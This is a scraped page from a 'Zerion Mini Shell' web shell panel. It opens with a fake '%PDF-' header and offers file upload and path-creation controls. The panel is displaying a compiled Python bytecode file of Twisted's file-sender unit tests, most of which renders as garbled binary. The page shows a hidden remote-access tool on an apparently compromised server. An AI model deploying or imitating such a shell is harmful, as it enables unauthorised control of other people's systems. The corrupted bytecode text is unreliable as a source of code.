%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/test/__pycache__/test_tpfile.cpython-312.pyc

�

Ϫ�f����ddlmZddlmZmZmZddlmZmZddl	m
Z
Gd�dej�ZGd�dej�Z
Gd	�d
e
j�Zy)�)�BytesIO)�abstract�defer�protocol)�basic�loopback)�unittestc� �eZdZdZdeddfd�Zy)�BufferingServer��data�returnNc�.�|xj|z
c_y�N)�buffer)�selfr
s  �:/usr/lib/python3/dist-packages/twisted/test/test_tpfile.py�dataReceivedzBufferingServer.dataReceiveds�����t��r)�__name__�
__module__�__qualname__r�bytesr�rrrrs��
�F����4�rrc�$�eZdZdeddfd�Zdd�Zy)�FileSendingClient�frNc��||_yr)r)rrs  r�__init__zFileSendingClient.__init__s	����rc�����j�J�tj�}|j�j�jd��}|j�fd��y)Nc��|Srr��xs r�<lambda>z2FileSendingClient.connectionMade.<locals>.<lambda>s��!�rc�8���jj�Sr)�	transport�loseConnection)�rrs �rr#z2FileSendingClient.connectionMade.<locals>.<lambda>s������ =� =� ?�r)r%r�
FileSender�beginFileTransferr�addCallback)r�s�ds`  r�connectionMadez FileSendingClient.connectionMadesJ����~�~�)�)�)������
����������D��	�
�
�?�@r�rN)rrrrrr-rrrrrs���'��d��Arrc�:�eZdZdejdfd�Zdd�Zy)�FileSenderTestsrNc�����d�t��tt���}tj�|�}dt
ddf���fd�}|j
|�S)Ns�xyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzxyzabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123123r"rc�>���j�j��yr)�assertEqualr)r"r+r�testStrs ���r�callbackz1FileSenderTests.testSendingFile.<locals>.callback&s������Q�X�X�w�/r)rrrr�loopbackTCP�objectr*)r�cr,r5r+r4s`   @@r�testSendingFilezFileSenderTests.testSendingFilesU���<������g�g�.�/��"*�"6�"6�q�!�"<��	0��	0�4�	0��}�}�X�&�&rc��tj�}tj�}d|_td�}|j
||d��}|j|j�|j|jd�y)N�rc��|Srrr!s rr#z6FileSenderTests.testSendingEmptyFile.<locals>.<lambda>1s���rz0producer unregistered with deferred being called)rr(r�FileDescriptor�	connectedrr)�assertIsNone�producer�
assertTrue�called)r�
fileSender�consumer�	emptyFiler,s     r�testSendingEmptyFilez$FileSenderTests.testSendingEmptyFile+sn���%�%�'�
��*�*�,������C�L�	��(�(��H�k�J��	
���(�+�+�,�	
������"T�Urr.)rrrr�Deferredr9rFrrrr0r0s��
'�����!5�
'�
Vrr0N)�ior�twisted.internetrrr�twisted.protocolsrr�
twisted.trialr	�Protocolrr�TestCaser0rrr�<module>rNsP��
�6�6�-�"��h�'�'��A��)�)�A�V�h�'�'�Vr

Zerion Mini Shell 1.0